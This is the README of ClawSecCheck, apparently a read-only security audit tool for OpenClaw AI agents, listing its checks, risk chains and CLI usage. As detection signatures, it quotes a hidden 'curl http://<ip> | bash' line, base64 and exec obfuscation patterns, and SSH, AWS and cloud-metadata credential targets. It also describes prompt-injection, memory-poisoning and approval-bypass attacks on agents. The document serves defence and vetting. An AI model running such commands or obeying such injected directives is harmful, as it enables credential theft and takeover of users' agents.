π¦ A free, local, read-only security self-audit for your own OpenClaw agent.
The claw that checks your claws β scores you AβF and reports the holes. Reports only, never touches anything.
π¦ FreeΒ Β·Β π LocalΒ Β·Β π Read-onlyΒ Β·Β π« No API keyΒ Β·Β π Your data never leaves your machine
A one-command security self-audit for your own OpenClaw agent. It scores your setup AβF and surfaces the most urgent holes in plain language β reports only, it never fixes or changes anything β plus a shareable grade badge.
Because you run it on your own agent, there's no "scanning someone else" problem: no proof-of-ownership, no legal grey area.
ClawSecCheck runs locally and read-only β no network calls, no telemetry, nothing leaves your machine. It's a heuristic audit, so it's upfront about what it does and doesn't check:
Honest limits (we never hide these behind a green score):
- Static analysis, not runtime-verified. Findings describe your configuration, not a live exploit. Results are labelled accordingly.
UNKNOWNβPASS. If a file can't be read, the config can't be parsed, or a state can't be determined, it's reported asUNKNOWNand excluded from the score β never silently marked safe.- Some deep checks are planned, not shipped yet: a dirty-input action-gate and taint-tracking layer (B27βB28) is on the roadmap, and the shipped B33 version gate is seeded with a small set of grounded advisories β its table grows as new ones are verified, not an exhaustive CVE database yet.
- Vetting the scanner itself (
--vetpointed at ClawSecCheck's own source) reports safe with a note β a security tool necessarily ships attack signatures as data.
Found a false positive/negative or something confusing? Open an issue at
https://github.com/gl0di/clawseccheck/issues with the output of clawseccheck --json
(it redacts secret values β only key names/paths appear) and your OpenClaw version. Do
not paste raw secrets.
OpenClaw skills are not sandboxed: an installed skill runs with your agent's full
permissions. The ClawHavoc campaign poisoned ClawHub with hundreds of malicious skills
that steal credentials and crypto wallets β a single line of markdown can hide a
curl http://<ip> | bash.
So, before you download, install, or use any skill (this one included):
- Read the source β it's plain text. If you can't see what it does, don't run it.
- Have your agent analyse it for you β ask OpenClaw to review the skill's
SKILL.mdand scripts for shell-exec, credential access, paste-host uploads, and obfuscated (base64) payloads before enabling it. ClawSecCheck does this with--vet <skill>. - Pin a known release, prefer signed / VirusTotal-clean skills, and rotate any secret a skill could have reached if you ever suspect it.
ClawSecCheck practises this: it is open source, zero-dependency, read-only, and its B13 check does exactly this vetting on the skills you've already installed. Trust is earned by being readable β so read it.
Verifying ClawSecCheck itself hasn't been tampered with. clawseccheck --verify-self
prints a SHA-256 digest of the engine's own source β but a digest computed from inside a
possibly-modified copy is only a tripwire, not proof (a tampered integrity.py could print
anything). The trusted reference lives out-of-band: every GitHub Release publishes a
SHA256SUMS.txt (same digest format --verify-self prints) signed with
cosign in keyless mode via the release workflow's own
GitHub Actions OIDC identity β no private key for anyone to leak or steal. Verify it before
trusting the comparison:
# Get the release assets (adjust the version):
curl -LO https://github.com/gl0di/clawseccheck/releases/download/vX.Y.Z/SHA256SUMS.txt
curl -LO https://github.com/gl0di/clawseccheck/releases/download/vX.Y.Z/SHA256SUMS.txt.sig
curl -LO https://github.com/gl0di/clawseccheck/releases/download/vX.Y.Z/SHA256SUMS.txt.pem
cosign verify-blob \
--certificate SHA256SUMS.txt.pem \
--signature SHA256SUMS.txt.sig \
--certificate-identity-regexp "^https://github.com/gl0di/clawseccheck/" \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
SHA256SUMS.txtA passing cosign verify-blob proves SHA256SUMS.txt was produced by this repo's release
workflow and hasn't been altered since β not that the CI pipeline itself is uncompromisable.
This closes the loop against opportunistic tampering of a downloaded copy; it is not a
guarantee against a targeted adversary who also compromises the CI pipeline.
The same principle applies to the host itself. If a machine is already compromised,
anything running on it at your own privilege level β ClawSecCheck included β can in
principle be tampered with so it hides the compromise; --verify-self catches lazy
tampering, not a targeted adversary who patches the verifier too. The honest fix is to
scan the suspect config from a separate, clean machine via --home, not to trust a
self-check running on the box in question. See
What if the host is already compromised?
in the FAQ for the full protocol.
The built-in openclaw security audit and tools like Trent/ClawSec are good β but:
- The native audit does not inspect the content of your bootstrap files
(
SOUL.md,AGENTS.md,TOOLS.md): they're injected into the system prompt as trusted context with no validation. ClawSecCheck does check them for prompt-injection-prone directives (our check B6). - ClawSecCheck is 100% local β no API key, nothing transmitted (Trent uploads your config; the native one is CLI-only).
- It leads with a shareable Score + Grade + Lethal Trifecta ratio you can post to the community β without ever exposing your actual findings.
- Lethal Trifecta (untrusted input Γ sensitive data Γ outbound actions β keep β€2 of 3)
- Gateway exposure & channel auth, plaintext secrets, least privilege, execution sandbox, plugin/skill supply-chain integrity, bootstrap-file injection surface, memory poisoning, human approval, secret-leak/redaction, TLS, local-first/model hygiene.
- B13 β installed-skill / plugin vetting: scans the content of skills you downloaded
(not made yourself) for the ClawHavoc malware class, including base64-hidden payloads. As of
v0.21 it also runs a static Python AST pass (stdlib
ast, parse-only β never executed) that catches obfuscation regex misses βexec(base64.b64decode(...)),getattr(os,"sys"+"tem")(...),__import__("os").system(...)β plus prompt-injection / hide-from-user directives embedded in a third-party skill's prose, and (v0.23) a taint trace that flags a credential file's contents (~/.ssh/id_*,.aws/credentials, keychain, wallet, β¦) flowing into a network sink ("read a secret file β send it out"). Sources are credential files only, not env vars, so the legit "readOPENAI_API_KEY, send as auth header" pattern is never flagged. (AST is Python-only; JS/shell stay on the regex engine.) - Per-check reference:
docs/CHECKS.mdfor the generated catalog of checks, verdict semantics, remediation, and compound risk chains. - B14 β egress surface: where the agent can reach out (channels, external skills, tools).
- B15 β MCP server trust boundaries.
- B16 β threat monitoring: whether you actually have monitoring/detection set up at all.
- B17 β autonomy / heartbeat: whether the agent acts on its own and could be steered by untrusted input.
- B18 β subagent delegation: whether spawned subagents can wield elevated/exec tools without approval.
- B45 β per-agent privilege separation (attestation): A1 flattens the whole setup into one
capability surface; B45 reads the attested agent roster (
--attest,agents: [{name, tools}]) and checks whether any single agent holds all three trifecta legs by itself. OpenClaw config has no per-agent tool allowlist, so this needs the self-report βUNKNOWNwithout it, advisory (ATTESTED, unscored). PASS means "no single agent is the full trifecta" β a necessary condition, not a guarantee: runtime data-flow and the delegation graph are out of scope. - B46 β multi-agent trifecta exposure: config-only nudge β spawnable subagents plus the global trifecta plus no exec approval gate. Capped at WARN (never a new FAIL).
- B47 β cross-agent trifecta reassembly (attestation): even when no single agent is the trifecta,
it can reassemble across delegation (a confused deputy): an untrusted-input agent that can drive a
sensitive-data agent and an outbound agent. Reads the attested
delegation: [{from, to, returns}]graph; thereturnstier decides exploitability β aschema(typed) return is a wall that blocks the channel (PASS, with a not-runtime-verified caveat), whileraw/filtered/unknowncarries it (WARN). UNKNOWN without--attest.RISK-11narrates the chain. Runtime data-flow stays out of static scope. - B19 β data at-rest: group/world-readable memory/log directories (conversation data / PII exposure).
- B20βB24 β agent behavior: write-protection of identity/memory files, tool-output trust boundary, self-modification risk, approval-bypass directives, and deep MCP-server hardening.
- B30 β sender identity strength: flags
channels.<provider>.dangerouslyAllowNameMatching(allowlist keyed on mutable display name β trivially bypassed by renaming) andchannels.telegram.includeGroupHistoryContext="recent"(untrusted group history injected as context). - B32 β control-plane mutation reachability: flags control-plane tools (
cron,config.apply,update.run,sessions_spawn,sessions_send,gateway) exposed viagateway.tools.allowover the HTTP gateway β full agent takeover without further escalation. - B38 β browser / SSRF exposure: flags
browser.ssrfPolicy.dangerouslyAllowPrivateNetwork(cloud-metadata IP access / credential theft via 169.254.169.254) andbrowser.noSandbox(headless browser without OS isolation); warns when nohostnameAllowlistlimits egress. - B48 β dangerous break-glass overrides: a grounded registry of OpenClaw's
dangerously*/allowUnsafe*toggles that are documented "keep disabled." FAIL when a sandbox-escape (sandbox.docker.dangerouslyAllow{ContainerNamespaceJoin,ExternalBindSources,ReservedContainerTargets}) or control-plane auth-bypass (gateway.controlUi.dangerouslyDisableDeviceAuth) flag is active; WARN for the rest (webhook signature disable, host-header origin fallback, external embeds, real-IP fallback,allowUnsafeExternalContent, per-channel/plugin private-network access, extra node commands). Default/absent = clean PASS (zero false positives on a stock config). - B39 β session visibility / cross-user transcript leak: flags
session.dmScope="main"(all DM peers share one session β cross-user contamination) andtools.sessions.visibilityof"agent"or"all"(cross-session transcript reads). - B26 β untrusted-context exposure: flags
channels.<provider>.contextVisibility="all"(the OpenClaw default), where quoted/thread/history text from non-allowlisted senders is injected into the model as context β a prompt-injection surface; recommendsallowlist/allowlist_quote. - B33 β known-vulnerable version gate: compares
meta.lastTouchedVersionagainst a maintained OpenClaw advisory table (seeded with GHSA-g8p2-7wf7-98mq, fixed2026.1.29); unknown versions areUNKNOWN, neverPASS. - B41 β credential blast-radius: inventories the credential surface (
auth.profiles.*, gateway token) reachable by the agent and warns when it co-exists with untrusted ingress + outbound tools. Reports only provider names + counts β never the account/email or token value. - B31 β effective-tools bypass: detects the OpenClaw footgun where
tools.deny: ["write"]does not denyapply_patch/execβ a believed-safe restriction that still allows file mutation; checks global,toolsBySender, and per-agent deny lists. Recommendsgroup:fsor a complete deny list. - B42 β skill/plugin install-time policy: install-time supply-chain risk that isn't malware
per se β
package.jsonpre/postinstallhooks that run code on install and every auto-update (unsandboxed, with the agent's permissions), and world-writable skill directories (any local user could drop a skill the agent loads). WARN-max, never FAIL; complements B25 (pinning) and B13 (content). - B50βB54 β Host Watch Posture: widens the lens past the agent to the machine it runs on β
is anyone watching it? Read-only, filesystem-only detection (no subprocess, no network) of host
defensive monitors: B50 network monitoring / IDS (Suricata, Zeek, Snort, Little Snitch,
Sysmon), B51 host audit / syscall logging (auditd, OpenBSM, Sysmon), B52 file-integrity
monitoring (AIDE, Tripwire, osquery), B53 endpoint protection / EDR (Wazuh, CrowdStrike,
ClamAV, Defender, Santa), B54 host firewall (ufw, firewalld, nftables, macOS ALF, Windows
Firewall). LOW severity, never FAIL: a missing monitor is a WARN only when the agent is
high-privilege, otherwise PASS; anything not determinable read-only is
UNKNOWN. Where it can be read without running a command, it distinguishes enabled from merely installed. - B55 β filesystem-write tool exposure: advisory warning when broad write-capability (
fs_write,apply_patch) is granted without enough scoping controls. - B56 β dangerous Control-UI cross-origin policy: flags
allowedOrigins: ["*"]in control UI config. - B57 β plugin auto-approve: flags
permissionMode: "approve-all", which bypasses explicit per-action confirmation in plugin execution. - B58 β Unicode-obfuscated injection / hidden-text evasion: detects Unicode confusables, zero-width and bidi controls used to hide injection directives.
- B59 β markdown-image / anchor data-exfil signals: flags remote markdown image/anchor URLs with data-bearing query params that can leak context.
- B60 β prompt self-replication / propagation directives: catches prompt-level instructions that try to make injected content propagate itself.
- B61 β cross-agent config snooping / credential theft: flags cross-agent access to foreign agent identity/config paths combined with extraction capabilities.
- B62 β capabilityβintent mismatch: detects large drift between SKILL.md declared purpose and actual observed behavior from static and effect profiling.
- B63βB66 β instruction hardening checks: hidden directive / hierarchy override / sleeper trigger / persona-role jailbreak coverage.
- C6 β hook-composition policy drop (legacy): advisory
UNKNOWNfor pre-v2026.6.10 hook chains where policy drop order can behave unexpectedly. - B43 / B44 β capability blast-radius (attestation layer): the static scan reads config files
only; it cannot see the agent's real tool/verb inventory β config lists tool names as opaque
strings. The attestation layer closes that:
--askemits a template the running agent fills with its own ground truth, and--attest <file>feeds it back. B43 classifies the held verbs by blast radius βEXEC(bash/shell/exec β the broadest: subsumes egress+destruction),MAILBOX_CONFIG(auto-forward/filter/delegation β a persistent silent channel),DESTRUCTIVE(delete-forever/purge),EGRESS(send/forward/post),REVERSIBLE(search/get/draft/label). A reversible-only toolset passes (forward-exfil and delete-evidence are physically impossible); a high-blast verb that can fire without approval fails. B44 cross-checks the self-report against the configtools.allowand flags a high-blast verb the config grants but the agent omitted (drift / blind spot / masking). Both atATTESTEDconfidence β a self-report is weaker evidence than a config fact, so they are advisory and never override one. Read-only and introspective: the agent reports what it holds, it never exercises a verb to test it. The attestationpathsblock additionally lets the agent point B20/C5 at where its identity/memory files and OpenClaw install really live β discovery only: the agent supplies where, the engine stillstat()s the path itself, so those permission findings keep full file-stat strength (notATTESTED). - B20 / C5 β at-rest write protection: B20 flags group/world-writable bootstrap/identity/memory
files (
SOUL.md/AGENTS.md/TOOLS.md/MEMORY.md) in the home root and the workspace dirs; C5 flags a group/world-writable openclaw binary dir, its install-tree ancestors (e.g. the npm package root β a binary-replacement vector), and writable PATH dirs before it. Sticky dirs like/tmpare exempt (the sticky bit blocks cross-owner replacement). - B80βB83 β DoS / exposure hardening (advisory): B80 flags token/password gateway auth on a
non-loopback bind with no
gateway.auth.rateLimit(brute-force surface); B81 flags subagent spawn limits raised past the safe defaults (maxSpawnDepth/maxChildrenPerAgent/maxConcurrent) while an untrusted channel can reach the agent (fork-bomb / cost-exhaustion); B82 flags alogging.cacheTracetranscript file persisted withoutredactSensitive:"tools"(secrets at rest); B83 flags a hightools.web.fetch.maxRedirectsceiling (redirect-chain SSRF). - B85 β incident readiness (advisory, HIGH-confidence): checks OpenClaw's per-session
trajectory sidecar (
agents/<agent>/sessions/*.trajectory.jsonl) β the on-disk, attributable record of tool calls β for presence (is tool use recorded at all?) and tamper-resistance (are the files or theirsessions/dir group/world-writable, so the incident trail could be rewritten/deleted?).stat()-only β it never reads call contents. UNKNOWN when no sidecar exists (disabled/relocated/no runs yet), never a false FAIL. - Plus your platform's own
openclaw security audit, run for you and merged in.
Mapped to OWASP. Each check is tagged with its OWASP Top 10 for LLM Applications (2025)
category (surfaced per finding in --json as "owasp": [...]), and the checks are mapped to the
agent-specific OWASP Agentic (ASI) threat classes β tool misuse, multi-agent identity/privilege
abuse, insecure inter-agent communication, cascading blast-radius β that an app-code reviewer never
sees. Full matrix in docs/THREAT_COVERAGE.md.
Non-technical users will never open a terminal to run OpenClaw's own
openclaw security audit. So ClawSecCheck runs it for you (read-only) and folds its
findings into the same plain-language report β one button shows both ClawSecCheck's checks
and the platform's own audit. Native findings are shown but are not mixed into the
ClawSecCheck score (kept deterministic). Disable with --no-native.
ClawSecCheck is open source and zero-dependency (Python stdlib only). Its own checks are read-only and offline β they make no network calls and never touch your OpenClaw config. Nothing ever leaves your machine. Full read scope:
~/.openclaw/openclaw.jsonand workspace bootstrap files (SOUL.md,AGENTS.md, etc.)- text of installed skills/plugins (Python files are AST-parsed, never executed)
~/.openclaw/logs/config-audit.jsonlandconfig-health.json(B77/B78 log checks)~/.openclaw/agents/.../sessions/*.jsonl(B79 approval-policy posture)- host OS path-existence checks for IDS/FIM/EDR/firewall config (B50βB54)
- credential-store path-existence inventory: whether
.env, SSH key dirs, keychain/keyring directories, and browser cookie stores exist near the agent home β contents never read The only thing it writes by default is a one-line entry to a private, owner-only local score history (~/.clawseccheck/history.jsonl) so you can track your grade over time β opt out with--no-history. Everything else is written only when you ask: a report file (--save), the--monitorsnapshot and change journal (~/.clawseccheck/state.json,events.jsonl), a badge (--badge), HTML/SARIF (--html/--sarif), a log (--log), and a small freshness ledger (~/.clawseccheck/coverage.json) recording when you last ran an active self-test (--canary/--redteam/--dryrun/--self-test/--vet-mcp).
The only external command it can run is your own, fixed and read-only:
openclaw security audit --json
No shell, read-only mode only, with a timeout; skip it entirely with --no-native. The entire
source is in clawseccheck/ β read it before you trust it. Amid the ClawHavoc
malicious-skill wave, an audit skill should prove its own safety; this one does.
openclaw skills install clawseccheck # from ClawHub (the slug is unique)
openclaw skills install git:gl0di/clawseccheck # or straight from GitHub
# then ask your agent: "audit my OpenClaw setup with clawseccheck"Skill page on ClawHub: https://clawhub.ai/gl0di/clawseccheck.
Or install it as a standalone CLI (zero dependencies):
pipx install git+https://github.com/gl0di/clawseccheck # or: pip install .
clawseccheck --home ~/.openclaw # then just `clawseccheck`
python -m clawseccheck # also worksOr run the bundled script directly (Linux/macOS):
python3 audit.py # human report + shareable card
python3 audit.py --menu # the Welcome menu (four common modes)
python3 audit.py --functions # the full capability palette (everything it can do)
python3 audit.py --json # machine-readable
python3 audit.py --card # just the badge
python3 audit.py --ascii # plain output (no unicode icons/box)
python3 audit.py --no-color # disable ANSI colour (see below)
python3 audit.py --home ~/.openclawThe terminal report is colourised (grade, score-bar, severity icons) only when output is
an interactive terminal. Colour is switched off automatically when the output is piped or
redirected, by --no-color, or by the NO_COLOR environment variable;
FORCE_COLOR forces it on. Saved reports (--save) are always written as plain text.
On Windows use python (or py); the script auto-detects consoles that can't render
unicode and falls back to ASCII, or force it with --ascii:
python audit.py
py audit.py --card --asciiCross-platform: pure Python stdlib, pathlib-based paths, and an ASCII fallback for every
output. The read-only audit runs on Linux, macOS, and Windows (Linux + macOS are covered by
CI). Local-store hardening is POSIX-only, though: the "owner-only, symlink-safe"
guarantees for ~/.clawseccheck/ (history/state/reports) rely on POSIX chmod and
O_NOFOLLOW. On Windows both degrade β file modes are not enforced as NTFS ACLs (the
store is not owner-restricted) and the symlink-clobber guard is a no-op β so on Windows treat
~/.clawseccheck/ as an ordinary user file, not a hardened store. The audit results
themselves are unaffected.
ClawSecCheck is one skill in a fast-growing OpenClaw ecosystem β and that growth is exactly why a local, read-only vetting tool exists. Browse more, but vet before you trust:
| Resource | What it is | |
|---|---|---|
| π¦ | ClawHub β clawseccheck | This skill's page β install, current version, changelog |
| π | awesome-openclaw-skills | 5,300+ community skills, organized by category |
| π€ | awesome-openclaw-agents | Agent templates, real-world use cases & integrations |
| π‘οΈ | OpenClaw gateway security docs | The platform's own hardening guide |
π¦ Before installing anything from these lists (this skill included): read the source, vet it β
clawseccheck --vet <path>β and pin a known release. The ClawHavoc wave proved that "popular on a list" is not the same as "safe to run."
OpenClaw remembers where a skill came from, so users get your new versions by updating:
openclaw skills update clawseccheck # pull the latest from its source (Git/ClawHub)
clawhub update --all # update every installed skill(Or re-run the install command.) An auto-updater skill / update.auto.enabled in
~/.openclaw/openclaw.json can update on a schedule. Because skills run with the agent's full
permissions, a malicious update is a real supply-chain risk β so each release here is tagged
and the source is public to read before updating. Prefer reviewing/pinning a tag over blind
auto-update for anything security-sensitive.
First call after an update looks empty? Some OpenClaw versions reload a freshly-updated skill lazily, so the first invocation right after an update can return nothing; just run it again. This is an OpenClaw skill-reload timing artifact on the runtime side, not the audit β confirm the engine is live with
clawseccheck --verify-self.
Staleness reminder (offline). A stale security scanner is itself a risk, so the default report
may print a one-line "your build may be out of date" notice. It is 100% offline β it reads only
the local clock against the baked-in build date, plus an optional local hint file
~/.clawseccheck/latest.json that your distribution layer or agent may write. ClawSecCheck never
checks for its own updates over the network (that would break its zero-network promise and it
would have to flag itself). The actual "is there a newer version?" lookup belongs to your package
tooling or your agent β see SKILL.md "Keeping ClawSecCheck current". Silence the notice with
--no-update-notice or CLAWSECCHECK_NO_UPDATE_NOTICE=1; after any update, verify the engine with
--verify-self.
When you run ClawSecCheck inside OpenClaw, the agent walks you through the entire audit conversationally β you never need to know a flag. After every default run, ClawSecCheck prints a short "What you can do next" block: a prioritised list of the most relevant follow-up steps for your findings, with the exact command to run each one.
The same list is available two other ways:
python3 audit.py --next # print the next-steps block only (after running the audit)
python3 audit.py --json # includes a "next_actions" array in the JSON envelopeThe recommendations are driven by your actual results β unvetted third-party skills surface
--vet; no monitoring detected surfaces --monitor; trifecta exposure surfaces the live
injection tests; and so on. Every suggestion is a further check β never remediation.
ClawSecCheck is reports-only: it never fixes, suggests fixes, or changes your config.
The human report states what is wrong and why; acting on it is yours. For machine consumers,
each finding still carries structured "fix"/"remediation" data in --json and SARIF β
data for your own tooling, not something ClawSecCheck renders or offers.
Most people never type a flag β you talk to your agent, it has the skill installed, and it runs the right command for you. Here are ready-to-say prompts for common goals: what to tell your agent, what happens, and (for the CLI-minded) the underlying command. Every recipe below is audit/report only β nothing here ever changes your config.
(This is the human-facing cookbook. For the full agent-facing phrase-to-flag routing table the
skill itself uses, see SKILL.md.)
| You say | What happens | Under the hood |
|---|---|---|
| "Audit my setup, what's my grade?" | Runs the full audit, shows Score + Grade (AβF) and findings grouped by area, most urgent first. | clawseccheck (no flags) |
| "Is this skill safe to install?" / "Vet this before I install it" | Scans the skill's content for malware patterns, injection directives, and supply-chain risk before you enable it β type is autodetected. | --vet <path> (or --vet-skill <path> / --vet-plugin <path> to force an engine) |
| "Is this safe to even download?" | Checks the source's identity (typosquat, known-bad, unpinned ref) with zero network before anything is fetched. | --vet-source <slug|url|pkg> |
| "Are my MCP servers trustworthy?" | Vets every connected MCP server for supply-chain risk (unpinned installs, plaintext transports, broad OAuth scopes). | --vet-mcp |
| "What's the single most important thing to fix?" | Prints a prioritised "what you can do next" list based on your actual findings β still just further checks, never auto-fixes. | --next |
| "Give me copy-paste fixes" | The default report already states, per finding, what's wrong and a fix suggestion in plain language; --json/SARIF carry the same as structured fix data for tooling. ClawSecCheck never applies a fix itself. |
clawseccheck (read the report) / --json |
| "Am I vulnerable to prompt injection?" | Runs live self-tests: a benign injection canary, a broader dry-run harness, or both plus red-team payloads together. | --canary Β· --dryrun Β· --self-test |
| "What dangerous actions can my agent actually take?" | Emits a self-report template for your agent to fill in with its real tool/verb inventory, then scores the blast radius (EXEC, DESTRUCTIVE, EGRESS, β¦) once you feed it back. | --ask then --attest <file> |
| "Watch for changes over time" | Re-audits and alerts on what changed since last time (new skill, config drift, a check flipping PASSβFAIL). Note: this is the one opt-in exception to read-only β it writes a small local snapshot (~/.clawseccheck/state.json) so it has something to diff against next run. |
--monitor |
| "Am I improving? How do I rank?" | Shows your score history over time, or how your current score compares to an offline reference profile β no network either way. | --trend Β· --percentile |
| "Share my grade without leaking my findings" | Produces just the grade + score (+ Lethal Trifecta ratio) β safe to post; your actual findings never appear. | --card (prints it) Β· --badge grade.svg (writes an SVG) |
| "What's actually installed β skills, MCP servers, versions?" | Exports a local bill-of-materials (skills, MCP servers, hashes, declared/unpinned dependencies) as JSON. | --sbom |
| "I think I've been compromised β help me preserve evidence" | Bundles a findings snapshot, skill/MCP hashes, trajectory-log hashes, and a credential rotation list into one local JSON file β a preservation aid, never rotates or deletes anything itself. | --incident |
| "Did a suspicious skill's instruction actually run?" | Post-hoc correlation: checks whether the credential/exfil/secret-path indicators an installed skill names show up in real tool.call arguments in your OpenClaw trajectory sidecars β "acted on" vs "present but not acted on". Reads args in memory only; never echoes them. |
--analyze-trajectory |
| "Gate my CI on this" | Machine-readable output plus a non-zero exit when the score drops below a bar or an unsuppressed FAIL exists β wire straight into a pipeline. | --json Β· --sarif results.sarif Β· --fail-under 70 Β· --exit-code |
When you run the skill inside OpenClaw, the agent executes audit.py, captures its output,
and shows it to you right there in the chat β no terminal, no setup. You see:
- your Score / Grade,
- findings grouped by area (network, privilege, supply chain, secrets, β¦), most urgent first within each β the Lethal Trifecta shows up here too, as a Privilege & Execution finding, not a separate headline, and
- a shareable card β grade + score + Lethal Trifecta ratio, safe to post (the findings stay
private;
--badgewrites the same grade + score as an SVG).
To keep a copy, add --save report.txt and ClawSecCheck writes the full report to that file
(written only when you ask). For automation, --json gives a machine-readable result.
Chat rendering is best-effort β the host agent relays and re-composes that text over its own
channel. The canonical, deterministic output is always a saved file: --save, --html,
or --badge grade.svg. If you need something you can rely on byte-for-byte (or attach as a
real image, in the badge's case), use the saved file, not the chat paste.
Two complementary things:
B16 β do you have monitoring at all? ClawSecCheck checks whether you have threat
monitoring/detection set up β an agent with none won't alert you if it's compromised. B16 looks
for a monitoring skill/plugin (ClawSec, openclaw-security-monitor, β¦) or monitoring/alerts
config; if none is found it warns you and tells you how to add one.
--monitor β Agent Watch. One way to get monitoring: re-audit on a schedule and alert,
by severity, on what changed β a new or modified installed skill, SOUL.md drift, a dropped
score, a check going PASS β FAIL, a newly connected MCP server, a new channel, the gateway becoming
network-exposed, or a host monitor disappearing. Each run appends the changes to a private local
journal (~/.clawseccheck/events.jsonl, owner-only, never uploaded); view the timeline with
--watch-log. (Drift detection is upgrade-safe: an older snapshot never produces spurious
"new connection" alerts.)
python3 audit.py --monitor # first run = baseline, then alerts on changes
python3 audit.py --monitor --state ~/.clawseccheck/state.jsonSchedule it via OpenClaw's heartbeat or cron; when an alert fires, have your agent message you.
It stores one small snapshot at ~/.clawseccheck/state.json. (Scheduled re-audit + drift
detection β not a real-time runtime IDS; that heavier model is intentionally out of scope.)
Beyond individual checks, ClawSecCheck runs a risk engine that looks for dangerous combinations β capability chains where two or more co-occurring properties make a compromise catastrophic or trivial to execute.
The highest-risk chains it detects now span RISK-01 through RISK-16:
| ID | Severity | Chain |
|---|---|---|
| RISK-01 | CRITICAL | Untrusted sender (open DM/group) β exec/write/elevated tool β host/filesystem |
| RISK-02 | HIGH | Untrusted input β sensitive data reachable β outbound/exec (Lethal Trifecta) |
| RISK-03 | HIGH | Untrusted ingress + no execution sandbox β exec/write directly on host |
| RISK-04 | HIGH | Mutable agent identity (name-matching) β elevated/exec tools β privilege escalation |
| RISK-05 | HIGH | Browser SSRF to private network β secrets/credentials β exfiltration |
| RISK-06 | CRITICAL | Open/untrusted surface β control-plane endpoint β full agent takeover |
| RISK-07 | HIGH | Exec/write tool (no approval gate) β writable bootstrap/identity files β persistent compromise |
| RISK-08 | MEDIUM | Multi-user channel β shared session (dmScope="main") β cross-user data leak |
| RISK-09 | CRITICAL | Malicious installed skill (B13 fail) β reachable secrets/data β outbound egress β exfiltration |
| RISK-10 | MEDIUM | Untrusted input β agent can exec/write on host β no host detection (IDS/audit/FIM/EDR) β a breach would be invisible |
| RISK-11 | HIGH | Cross-agent trifecta reassembly (confused deputy): untrusted-input agent β drives a sensitive-data agent β drives an outbound agent across non-wall delegation edges |
| RISK-12 | HIGH | Untrusted input + broad/unscoped write capability (B55) β filesystem tamper/persistence |
| RISK-14 | HIGH | Wildcard-elevated sender + heartbeat β self-escalating autonomy loop |
| RISK-15 | HIGH | Untrusted context + browser SSRF to private network β metadata/credential exfiltration |
| RISK-16 | HIGH | RW workspace + host bind + plaintext gateway credential path β control-plane takeover |
Each chain fires only when every link has positive evidence β no chain is invented from absent or UNKNOWN data, so findings are evidence-gated, which keeps false positives low β but this is a heuristic audit, not a guarantee; manual review is still required. The risk engine does not change the deterministic AβF score; it surfaces separately so you can see the worst-case paths at a glance without score inflation.
python3 audit.py --risk-paths # print the highest-risk chains section only
python3 audit.py --json # includes a "risk_paths" array in the JSON envelopeThe --risk-paths output is also appended to the default report when any chain fires.
python3 audit.py --sarif results.sarif # write SARIF 2.1.0 locally (for GitHub Code Scanning upload step)
python3 audit.py --fail-under 70 # exit 1 if score < 70 (use in CI pipelines)
python3 audit.py --exit-code # exit 1 if any unsuppressed FAIL findingThe SARIF file is written to the path you choose β ClawSecCheck never uploads it anywhere.
--fail-under and --exit-code do not change the default exit code (0) when omitted,
preserving backward compatibility.
Quick CLI reference (every flag is local & read-only against your config):
| Need | Command |
|---|---|
| Human report | clawseccheck |
| JSON / SARIF output | clawseccheck --json Β· clawseccheck --sarif results.sarif |
| Highest-risk chains | clawseccheck --risk-paths |
| Vet anything before install (type autodetected) | clawseccheck --vet ./target |
| Vet a skill / a plugin explicitly | clawseccheck --vet-skill ./skill Β· clawseccheck --vet-plugin ./plugin |
| Vet connected MCP servers | clawseccheck --vet-mcp |
| Reputation gate before download | clawseccheck --vet-source clawhub:some-skill |
| Active injection self-test | clawseccheck --canary Β· clawseccheck --redteam Β· clawseccheck --dryrun |
| All-in-one (audit + self-test + vet-mcp) | clawseccheck --full Β· add --quiet to collapse the appended sections to one-line summaries (lighter for CI logs) |
| Monitor drift / view timeline | clawseccheck --monitor Β· clawseccheck --watch-log |
| Attestation template / feed it back | clawseccheck --ask Β· clawseccheck --attest attest.json |
| Shareable card / SVG badge | clawseccheck --card Β· clawseccheck --badge badge.svg |
| Trend & percentile | clawseccheck --trend Β· clawseccheck --percentile |
| Accept a finding (show suppressed) | edit .clawseccheckignore Β· clawseccheck --show-suppressed |
| Skip native audit / host posture | clawseccheck --no-native Β· clawseccheck --no-host |
| Disable local history / age notice | clawseccheck --no-history Β· clawseccheck --no-update-notice |
| CI gate | clawseccheck --fail-under 70 Β· clawseccheck --exit-code |
| Verify the engine itself | clawseccheck --verify-self |
python3 audit.py --next # print the "What you can do next" guidance block only
python3 audit.py --vet ./some-target # vet a skill / plugin / MCP spec BEFORE installing it (type autodetected)
python3 audit.py --vet-skill ./some-skill # force the skill engine (dir or SKILL.md)
python3 audit.py --vet-plugin ./some-plugin # force the plugin engine (root dir or openclaw.plugin.json)
python3 audit.py --vet ./some-skill --json # same, machine-readable risk dossier (grade + axes + findings); --sarif PATH for CI
python3 audit.py --vet-mcp # vet connected MCP servers for supply-chain risk BEFORE trusting them
python3 audit.py --vet-source npm:some-pkg # reputation gate on a slug/URL/package spec BEFORE anything is fetched
python3 audit.py --canary # active prompt-injection self-test (battle-tested)
python3 audit.py --redteam # a multi-scenario adversarial payload suite (incl. tool-poisoning, MCP-response injection, memory-poisoning, multi-agent, approval-bypass, dirty-to-exfil)
python3 audit.py --dryrun # runtime behavioral test (fake secret + fake tools; sources: email, web, MCP response, memory, subagent)
python3 audit.py --badge badge.svg # write a shareable SVG grade badge
python3 audit.py --html report.html # standalone HTML report (private β owner view)
python3 audit.py --verify-self # SHA-256 of ClawSecCheck's own source (anti-tamper)
python3 audit.py --trend # print local score trend (stored in ~/.clawseccheck/history.jsonl)
python3 audit.py --percentile # show where your score sits vs. an offline reference profile
python3 audit.py --history ~/.clawseccheck/history.jsonl # custom history file path (default shown)
python3 audit.py --verbose # INFO-level log to stderr (secrets redacted)
python3 audit.py --debug # DEBUG-level log to stderr (secrets redacted)
